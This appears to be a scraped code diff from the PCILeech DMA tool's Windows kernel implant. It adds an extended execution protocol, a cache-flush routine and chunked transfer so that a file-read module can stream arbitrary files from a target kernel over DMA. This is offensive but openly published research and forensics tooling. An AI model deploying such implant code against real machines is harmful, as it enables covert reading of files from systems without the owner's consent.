|
||||
#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008
|
||||
#define STATUS_FAIL_FILE_READWRITE 0xf0000009
|
||||
#define STATUS_FAIL_PCILEECH_CORE 0xf000000a
|
||||
|
||||
#define KMD_CMD_VOID 0xffff
|
||||
#define KMD_CMD_COMPLETED 0
|
||||
#define KMD_CMD_READ 1
|
||||
#define KMD_CMD_WRITE 2
|
||||
#define KMD_CMD_TERMINATE 3
|
||||
#define KMD_CMD_MEM_INFO 4
|
||||
#define KMD_CMD_EXEC 5
|
||||
#define KMD_CMD_READ_VA 6
|
||||
#define KMD_CMD_WRITE_VA 7
|
||||
#define KMD_CMD_EXEC_EXTENDED 8
|
||||
|
||||
#endif /* __STATUSCODES_H__ */
|
||||
|
||||
@@ -116,3 +116,35 @@ VOID CommonSleep(_In_ PKERNEL_FUNCTIONS fnk, _In_ DWORD ms)
|
||||
LONGLONG llTimeToWait = -10000LL * ms;
|
||||
fnk->KeDelayExecutionThread(KernelMode, FALSE, &llTimeToWait);
|
||||
}
|
||||
|
||||
BOOL _WriteLargeOutput_WaitForAck(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
while((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {
|
||||
CommonSleep(fnk, 25);
|
||||
}
|
||||
return (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;
|
||||
}
|
||||
|
||||
BOOL WriteLargeOutput_WaitNext(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
pos->magic = EXEC_IO_MAGIC;
|
||||
CacheFlush();
|
||||
pos->bin.seq++;
|
||||
pk->_op = KMD_CMD_EXEC_EXTENDED;
|
||||
return _WriteLargeOutput_WaitForAck(fnk, pk);
|
||||
}
|
||||
|
||||
VOID WriteLargeOutput_Finish(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
WriteLargeOutput_WaitNext(fnk, pk);
|
||||
pk->dataOutExtraLength = 0;
|
||||
CacheFlush();
|
||||
pos->bin.fCompleted = TRUE;
|
||||
pos->bin.seq++;
|
||||
_WriteLargeOutput_WaitForAck(fnk, pk);
|
||||
pk->_op = KMD_CMD_EXEC;
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
#ifndef __WX64_COMMON_H__
|
||||
#define __WX64_COMMON_H__
|
||||
#include <windows.h>
|
||||
#include "statuscodes.h"
|
||||
|
||||
#pragma warning( disable : 4047 4055 4127 4200 4201 4204)
|
||||
|
||||
@@ -63,20 +64,26 @@ typedef struct tdKMDDATA {
|
||||
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
|
||||
} KMDDATA, *PKMDDATA;
|
||||
|
||||
// KMDDATA_OUTSTATUS_VOID - Normal status - take no special action.
|
||||
#define KMDDATA_OUTSTATUS_VOID 0
|
||||
// KMDDATA_OUTSTATUS_KBD_IO - Keyboard interactive IO.
|
||||
// dataOut[8] = input buffer physical address
|
||||
// dataOut[9] = output buffer physical address
|
||||
#define KMDDATA_OUTSTATUS_KBD_IO 1
|
||||
|
||||
// used together with KMDDATA_OUTSTATUS_KBD_IO out status
|
||||
typedef struct tdKMDBUFFERIO {
|
||||
DWORD qwSeqNo;
|
||||
DWORD qwSeqNoAck;
|
||||
DWORD cb;
|
||||
BYTE pb[];
|
||||
} KMD_BUFFER_IO, *PKMD_BUFFER_IO;
|
||||
#define EXEC_IO_MAGIC 0x12651232dfef9521
|
||||
#define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800
|
||||
#define EXEC_IO_DMAOFFSET_IS 0x80000
|
||||
#define EXEC_IO_DMAOFFSET_OS 0x81000
|
||||
typedef struct tdEXEC_IO {
|
||||
QWORD magic;
|
||||
struct {
|
||||
QWORD cbRead;
|
||||
QWORD cbReadAck;
|
||||
QWORD Reserved[10];
|
||||
BYTE pb[800];
|
||||
} con;
|
||||
struct {
|
||||
QWORD seq;
|
||||
QWORD seqAck;
|
||||
QWORD fCompleted;
|
||||
QWORD fCompletedAck;
|
||||
} bin;
|
||||
QWORD Reserved[395];
|
||||
} EXEC_IO, *PEXEC_IO;
|
||||
|
||||
// system information class 11
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
@@ -269,7 +276,7 @@ typedef struct tdKERNEL_FUNCTIONS {
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_Out_ PVOID Buffer,
|
||||
_In_ ULONG Length,
|
||||
_In_opt_ PLARGE_INTEGER ByteOffset,
|
||||
_In_opt_ PQWORD ByteOffset,
|
||||
_In_opt_ PULONG Key
|
||||
);
|
||||
NTSTATUS(*ZwSetSystemInformation)(
|
||||
@@ -353,5 +360,25 @@ VOID InitializeKernelFunctions(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS fn
|
||||
DWORD PEGetImageSize(_In_ QWORD hModule);
|
||||
VOID CommonSleep(_In_ PKERNEL_FUNCTIONS fnk, _In_ DWORD ms);
|
||||
extern QWORD GetCR3();
|
||||
extern VOID CacheFlush();
|
||||
|
||||
/*
|
||||
* If a large output is to be written to PCILeech which won't fit in the DMA
|
||||
* buffer - write as much as possible in the DMA buffer and then call this fn.
|
||||
* When returned successfully write another chunk to this buffer and call again.
|
||||
* WriteLargeOutput_Finish must be called after all data is written to clean up.
|
||||
* -- fnk
|
||||
* -- pk
|
||||
* -- return
|
||||
*/
|
||||
BOOL WriteLargeOutput_WaitNext(_In_ PKERNEL_FUNCTIONS fnk, PKMDDATA pk);
|
||||
|
||||
/*
|
||||
* Clean up function that must be called if WriteLargeOutput_WaitNext has
|
||||
* previously been called.
|
||||
* -- fnk
|
||||
* -- pk
|
||||
*/
|
||||
VOID WriteLargeOutput_Finish(_In_ PKERNEL_FUNCTIONS fnk, PKMDDATA pk);
|
||||
|
||||
#endif /* __WX64_COMMON_H__ */
|
||||
@@ -32,4 +32,12 @@ GetCR3 PROC
|
||||
RET
|
||||
GetCR3 ENDP
|
||||
|
||||
; ----------------------------------------------------
|
||||
; Flush the CPU cache.
|
||||
; ----------------------------------------------------
|
||||
CacheFlush PROC
|
||||
WBINVD
|
||||
RET
|
||||
CacheFlush ENDP
|
||||
|
||||
END
|
||||
|
||||
@@ -29,6 +29,7 @@ VOID c_EntryPoint(_In_ PKMDDATA pk)
|
||||
UNICODE_STRING _su;
|
||||
KERNEL_FUNCTIONS ofnk;
|
||||
PKERNEL_FUNCTIONS fnk;
|
||||
BOOL isModeLargeTransfer = FALSE;
|
||||
if(!pk->dataInStr[0]) {
|
||||
pk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;
|
||||
return;
|
||||
@@ -57,13 +58,18 @@ VOID c_EntryPoint(_In_ PKMDDATA pk)
|
||||
pk->dataOut[0] = nt;
|
||||
goto cleanup;
|
||||
}
|
||||
nt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pk->dataOutExtraLengthMax, 0, 0);
|
||||
do {
|
||||
nt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pk->dataOutExtraLengthMax, NULL, 0);
|
||||
if(NT_ERROR(nt)) { break; }
|
||||
pk->dataOutExtraLength = (QWORD)_io.Information;
|
||||
if(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }
|
||||
isModeLargeTransfer = TRUE;
|
||||
} while(WriteLargeOutput_WaitNext(fnk, pk));
|
||||
fnk->ZwClose(hFile);
|
||||
if(0 != nt) {
|
||||
pk->dataOut[0] = nt;
|
||||
goto cleanup;
|
||||
if(isModeLargeTransfer) {
|
||||
WriteLargeOutput_Finish(fnk, pk);
|
||||
}
|
||||
pk->dataOutExtraLength = (QWORD)_io.Information;
|
||||
pk->dataOut[0] = nt;
|
||||
cleanup:
|
||||
fnk->RtlFreeUnicodeString(&_su);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -252,6 +252,7 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
|
||||
#define KMD_CMD_EXEC 5
|
||||
#define KMD_CMD_READ_VA 6
|
||||
#define KMD_CMD_WRITE_VA 7
|
||||
#define KMD_CMD_EXEC_EXTENDED 8
|
||||
|
||||
// status:
|
||||
// 1: ready for command
|
||||
|
||||
Reference in New Issue
Block a user